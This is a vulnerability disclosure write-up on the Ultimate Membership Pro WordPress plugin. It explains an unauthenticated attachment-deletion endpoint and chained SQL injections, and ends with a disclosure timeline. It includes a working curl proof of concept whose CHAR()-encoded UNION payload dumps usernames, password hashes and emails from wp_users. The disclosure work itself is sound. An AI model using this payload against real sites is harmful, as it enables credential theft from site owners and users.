Ultimate Membership Pro by azzaroco claims that it is

the #1 selling

MEMBERSHIP PLUGIN

and

over 9000+ sites sell subscriptions

powered by

Ultimate Membership Pro

THEY CAN'T GO WRONG

Or can they?

I think we are about to find out.

Nopriv AJAX

The plugin has a lot of AJAX endpoints, from the start it looked promising. I like to look first at the low hanging fruits, wp_ajax_, admin_init etc.

There are a few scary ones like:

//delete attachment ajax
add_action('wp_ajax_nopriv_ihc_delete_attachment_ajax_action', 'ihc_delete_attachment_ajax_action');  
add_action('wp_ajax_ihc_delete_attachment_ajax_action', 'ihc_delete_attachment_ajax_action');  
function ihc_delete_attachment_ajax_action(){  
    if (!empty($_REQUEST['attachemnt_id'])){
        wp_delete_attachment( $_REQUEST['attachemnt_id'], TRUE );
    }
    if ($_REQUEST['user_id']!=-1 && isset($_REQUEST['field_name'])){
        update_user_meta($_REQUEST['user_id'], $_REQUEST['field_name'], '');
    }
    echo 1;
    die();
}

This just deletes any attachment. Oh, and another thing: it does not have any validation.

Deleting random attachments can be quite fun, imagine an admin who has to re-upload media files because they keep disappearing.

And then there's this beauty:

add_action("wp_ajax_nopriv_ihc_generate_invoice", "ihc_generate_invoice");  
add_action('wp_ajax_ihc_generate_invoice', 'ihc_generate_invoice');  
function ihc_generate_invoice(){  
    /*
     * @param none
     * @return string
     */

    if (isset($_REQUEST['order_id'])){
        if (is_admin()){
            /// is secure so get the uid from order table
            $uid = Ihc_Db::get_uid_by_order_id($_REQUEST['order_id']);
            $check = TRUE;
        } else {
            global $current_user;
            $uid = (isset($current_user->ID)) ? $current_user->ID : 0;
            $check = Ihc_Db::is_order_id_for_uid($uid, $_REQUEST['order_id']);   /// Security check
        }

        if ($check && $uid){
            require_once IHC_PATH . 'classes/Ihc_Invoice.class.php';
            $object = new Ihc_Invoice($uid, $_REQUEST['order_id']);
            echo $object->output(TRUE);
        }
    }
    die();
}

I already talked about the is_admin() function, and how it is often misused, so I won't go into details, but you can read the post about Avada

In short, the else part of the IF statement NEWER will be executed, because the function is only called via AJAX, and by definition the is_admin() function will always return true on wp_ajax calls.

The getuidbyorderid function has a SQL Injection flaw, it does not use $wpdb->prepare nor does its own escaping like (int) or intval():

public static function get_uid_by_order_id($order_id=0){  
/*
 * @param int
 * @return int
 */
 if ($order_id){
     global $wpdb;
     $table = $wpdb->prefix . 'ihc_orders';
     $check = $wpdb->get_row("SELECT uid FROM $table WHERE id=$order_id;");
     if ($check && !empty($check->uid)){
        return $check->uid;
     }
 }
 return 0;
}

So far so good! We could use a Time Based Blind SQLi, but we can do better.

The $uid value then it is used to create a new invoice via the Ihc_Invoice Object/Class, then that internally calls the ihc_replace_constants function.

The ihc_replace_constants, as it name implies, replaces some constants in the invoice template, it uses the Ihc_Db to get_user_col_value the $uid parameter returned by the get_uid_by_order_id.

The whole Ihc_Db is swarming with SQL Injection holes, here is a link if you want to check it out. I have no idea how this stuff got past CodeCanyon's QA team. Ihc_Db.class.sphp Source Code

What we are interested in now is the following:

/*
 * @param int (user id)
 * @param string (selected row)
 * @return string
 */
public static function get_user_col_value($uid=0, $col_name=''){  
    if ($uid && $col_name){
        global $wpdb;
        $table = $wpdb->base_prefix . 'users';
        $data = $wpdb->get_row("SELECT $col_name FROM $table WHERE ID=$uid;");
        if (!empty($data->$col_name)){
            return $data->$col_name;
        }
    }
}

Injecting into Injection, why not?

All right, so we have 2 SQL Injections so far, the value returned by the first query gets used in the second one, without any type of checks, etc. Actually the only thing which is a bit of a nuisance is the default WP legacy addslashes.

So what is happening is the following:

$order_id = $_REQUEST['order_id'];
...
SQL> SELECT uid FROM $table WHERE id=$order_id;  
...
SQL> SELECT $col_name FROM $table WHERE ID= [uid_from_the_first_select];  

We need to control the uid returned, and we can by a simple UNION:

&order_id = -1 UNION ALL SELECT [WHATEVER]

This will return [WHATEVER] and will be used on the second query.

In order to avoid using the ' or " character we can use MySQL's SQL Injection aiding functionalities like : hex(), CHAR(), etc.

I went with CHAR because it was simpler to implement.

CURL POC

$curl -X POST http://127.0.0.1 --data='action=ihc_generate_invoice&order_id=-1 UNION ALL SELECT CHAR(45,49,32,85,78,73,79,78,32,65,76,76,32,83,69,76,69,67,84,32,99,111,110,99,97,116,40,117,115,101,114,95,108,111,103,105,110,44,48,120,51,97,44,117,115,101,114,95,112,97,115,115,44,48,120,51,97,44,117,115,101,114,95,101,109,97,105,108,41,32,70,82,79,77,32,119,112,95,117,115,101,114,115,32,76,73,77,73,84,32,48,44,49)
'  

Which translates to

SELECT concat(user_login,0x3a,user_pass,0x3a,user_email) FROM wp_users LIMIT 0,1  

PHP POC

I have also written a small PHP POC, which can run any query

Ultimate Membership Pro v6.3 Unauthenticated SQL Injection exploit

Impact 8/10

Unauthenticated SQL injection via POST. 10k+ Sales. +2 points for the Ihc_Db.class.php

Timeline

02 - 01 - 2018 - Vulnerability discovered.  
02 - 01 - 2018 - Vendor notified.  
09 - 01 - 2018 - Vendor unresponsive.  
17 - 01 - 2018 - Contacted CodeCanyon  
23 - 01 - 2018 - CodeCanyon disabled the plugin.  
25 - 01 - 2018 - Update released. Plugin re-enabled.  
25 - 01 - 2018 - Vulnerability goes public.